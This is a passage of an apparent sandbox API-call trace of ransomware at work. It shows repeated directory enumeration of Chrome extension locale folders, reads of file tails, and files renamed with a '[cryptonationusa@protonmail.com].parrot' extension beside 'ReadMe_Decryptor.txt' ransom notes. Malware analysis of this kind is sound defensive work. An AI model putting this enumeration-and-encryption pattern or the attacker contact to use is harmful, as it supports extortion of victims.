ftLastWriteTime.dwLowDateTime=0xb1d0cc60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.964] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.964] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.964] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1d0cc60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.964] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.964] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.965] CloseHandle (hObject=0x274) returned 1 [0096.965] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1d0cc60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1d0cc60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1e3d760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.965] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.965] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1d0cc60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1d0cc60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.965] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1d0cc60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.965] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.966] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.966] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1ed5ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1ed5ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.966] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.966] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.966] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1ed5ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.966] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.966] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.967] CloseHandle (hObject=0x274) returned 1 [0096.967] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1ed5ce0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1ed5ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1efbe40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.967] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.967] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1ed5ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1ed5ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.967] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1ed5ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.967] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.967] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.967] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb20067e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb20067e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.967] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.967] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.967] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1fba520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.967] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.968] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.968] CloseHandle (hObject=0x274) returned 1 [0096.968] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb20067e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb20067e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb20067e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.968] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.968] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb20067e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb20067e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.969] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1fba520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.969] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.969] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.969] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb209ed60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb209ed60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.969] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.969] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.969] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb209ed60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.969] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.969] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.970] CloseHandle (hObject=0x274) returned 1 [0096.970] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb209ed60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb209ed60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb209ed60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.970] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.970] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb209ed60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb209ed60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.970] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb209ed60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.970] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.971] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.971] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb21f59c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb21f59c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.971] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.971] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.971] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb21cf860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.971] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.971] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.972] CloseHandle (hObject=0x274) returned 1 [0096.972] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21f59c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb21f59c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb21f59c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.972] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.972] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb21f59c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb21f59c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.972] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb21cf860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.972] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.972] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.972] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb23988e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb23988e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.973] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.973] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.973] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb23988e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.973] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.973] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.973] CloseHandle (hObject=0x274) returned 1 [0096.974] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb23988e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb23988e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2456fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.974] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.974] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb23988e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb23988e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.974] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab6050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb23988e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.974] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.974] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.974] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2456fc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2456fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.974] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.974] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.974] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: 